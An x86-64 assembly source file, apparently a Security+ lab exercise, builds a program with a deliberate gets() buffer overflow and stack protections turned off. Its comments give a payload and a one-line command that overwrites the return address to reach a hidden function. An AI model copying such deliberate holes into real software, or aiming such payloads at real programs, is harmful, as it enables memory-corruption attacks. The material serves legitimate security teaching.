#---------------------------------------------------------------------------------------------------------------# # description: handwritten program running gets to a buffer of [8] to exemplify a quick and dirty # # buffer overflow exploit. # # # # objectives: SY0-601 1.3, 2.3, 3.2 # # # # intended environment: DOCKER - kalilinux/kali-last-release:latest # # # # author: bfu # # file: bof.s # # binary: bof.elf # # # # assembler: GNU Assembler (as or GAS) # # assemble: as bof.s -o bof.o # # link: gcc -no-pie -nostartfiles -z execstack -ggdb -fno-stack-protector bof.o -o bof.elf # # # #---------------------------------------------------------------#---------------------------------------------- # .code64 # not required, but specifying we're 64-bit :) # #---------------------------------------------------------------#-----------------------------------------------# # ~ read only data ~ # .section .rodata #-----------------------------------------------# money_str: .string "woohoo!! free money\n" # this is the string we're going to print on # # successful exploitation # #---------------------------------------------------------------#-----------------------------------------------# .section .text # ~ text section ~ # #-----------------------------------------------# .globl _start # make it known that `_start` is global # #-----------------------------------------------# .extern printf # (FROM LIBC) # .extern gets # printf(char*,...), gets(char*) # #---------------------------------------------------------------#-----------------------------------------------# _get_input: # # push %rbp # void _get_input(void) { # mov %rsp, %rbp # char ptr[8]; # sub $0x10, %rsp # gets(ptr); # lea -0x8(%rbp),%rax # return; # mov %rax, %rdi # } # call gets@plt # # #---------------------------------------------------------------#-----------------------------------------------# # Knowing that the buffer size is 8 and that there are no protections on this binary, we can overflow the # # buffer to call a function such as `_get_rich_fast`. This is because the stack also contains a saved base # # pointer (1) to know where to jump back to at the of the function. After inputting the correct amount of # # any data, for example, the character 'a' to fill the buffer, the stack looks like this: # # # # _______________________________________________________________________ # # | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | a | b | c | d | e | f | # # |---|---|---|---|---|---|---|---|----|----|----|----|----|----|----|----| # # | / | / | / | / | / | / | / | / | 61 | 61 | 61 | 61 | 61 | 61 | 61 | 61 | # # |---|---|---|---|---|---|---|---|----|----|----|----|----|----|----|----| # # | x | x | x | x | x | x | x | x | 6a | 11 | 40 | 00 | <-- saved bp (1) | # # |___|___|___|___|___|___|___|___|____|____|____|____|___________________| # # # # woohoo more information # # # # # Allowing us to craft the final payload: "aaaaaaaa\x0\x0\x0\x0\x0\x0\x0\x0\x47\x10\x40". # #---------------------------------------------------------------------------------------------------------------# # Execution: bash -c 'printf "aaaaaaaa\x0\x0\x0\x0\x0\x0\x0\x0\x47\x10\x40" | ./bof.elf' # #---------------------------------------------------------------#-----------------------------------------------# nop # leave # ret # #---------------------------------------------------------------#-----------------------------------------------# _get_rich_fast: # push %rbp # mov %rsp, %rbp # lea money_str, %rdi # mov %rdi, %rax # call printf@plt # pop %rbp # nop # ret # #---------------------------------------------------------------#-----------------------------------------------# _start: # push %rbp # call _get_input # pop %rbp # TODO: segfault xor %rax, %rax # mov $1, %al # mov $0, %rbx # syscall #